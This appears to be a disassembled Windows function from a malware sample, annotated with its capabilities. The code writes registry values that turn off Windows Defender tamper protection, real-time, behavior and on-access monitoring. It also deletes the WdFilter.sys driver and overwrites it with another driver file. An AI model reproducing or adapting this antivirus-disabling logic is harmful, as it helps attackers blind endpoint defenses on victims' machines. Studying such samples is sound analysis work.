Function at 0x140001800
Capabilities:
Copy file
Delete file
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov rax, qword [0x140003008]
xor rax, rsp
mov qword [rbp - 0x10], rax
call fcn.1400011d0
lea r8, [rbp - 0x20]
mov dword [rbp - 0x14], 0
lea rdx, str.SOFTWARE_Mic_oof__Window_Defende__Fea_u_e
mov dword [rbp - 0x18], 1
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
mov rcx, qword [rbp - 0x20]
lea rax, [rbp - 0x14]
mov dword [rsp + 0x28], 4
lea rdx, str.Tampe_P_o_ec_ion
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x20]
lea rdx, str.Tampe_P_o_ec_ionSou_ce
mov ebx, eax
mov dword [rsp + 0x28], 4
lea rax, [rbp - 0x14]
mov r9d, 4
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
jne 0x140001a3e
lea r8, [rbp - 0x20]
mov rcx, 0xffffffff80000002
lea rdx, str.SOFTWARE_Policie_Mic_oof__Window_Defende_
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
mov rcx, qword [rbp - 0x20]
lea rax, [rbp - 0x18]
mov dword [rsp + 0x28], 4
lea r9d, [rbx + 4]
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.DiableAn_iSpywa_e
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x20]
lea rax, [rbp - 0x18]
mov dword [rsp + 0x28], 4
lea r9d, [rbx + 4]
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.DiableReal_imeMoni_o_ing
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x20]
lea rax, [rbp - 0x18]
mov dword [rsp + 0x28], 4
lea r9d, [rbx + 4]
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.DiableRou_inelyTakingAc_ion
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x20]
lea rax, [rbp - 0x18]
mov dword [rsp + 0x28], 4
lea r9d, [rbx + 4]
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.DiableAn_iVi_u
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea r8, [rbp - 0x20]
mov rcx, 0xffffffff80000002
lea rdx, str.SOFTWARE_Policie_Mic_oof__Window_Defende__Real_Time_P_o_ec_ion
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
mov rcx, qword [rbp - 0x20]
lea rax, [rbp - 0x18]
mov dword [rsp + 0x28], 4
lea r9d, [rbx + 4]
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.DiableReal_imeMoni_o_ing
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x20]
lea rax, [rbp - 0x18]
mov dword [rsp + 0x28], 4
lea r9d, [rbx + 4]
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.DiableOnAcceP_o_ec_ion
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x20]
lea rax, [rbp - 0x18]
mov dword [rsp + 0x28], 4
lea r9d, [rbx + 4]
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.DiableBehavio_Moni_o_ing
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x20]
lea rax, [rbp - 0x18]
mov dword [rsp + 0x28], 4
lea r9d, [rbx + 4]
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.DiableScanOnReal_imeEnable
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140001a8c
cmp dword [0x140003954], 4
jne 0x140001a8c
nop word [rax + rax]
lea rcx, str.C:_Window_Sy_em32_d_ive__wd_WdFil_e_.y
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x140001a75
lea ecx, [rax + 0x64]
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [0x140003954], 4
je 0x140001a50
jmp 0x140001a8c
xor r8d, r8d
lea rdx, str.C:_Window_Sy_em32_d_ive__wd_WdFil_e_.y
lea rcx, str.C:_Window_Sy_em32_d_ive__wd_WdNiD_v.y
call qword [sym.imp.KERNEL32.dll_CopyFileW]
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.140001ac0
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret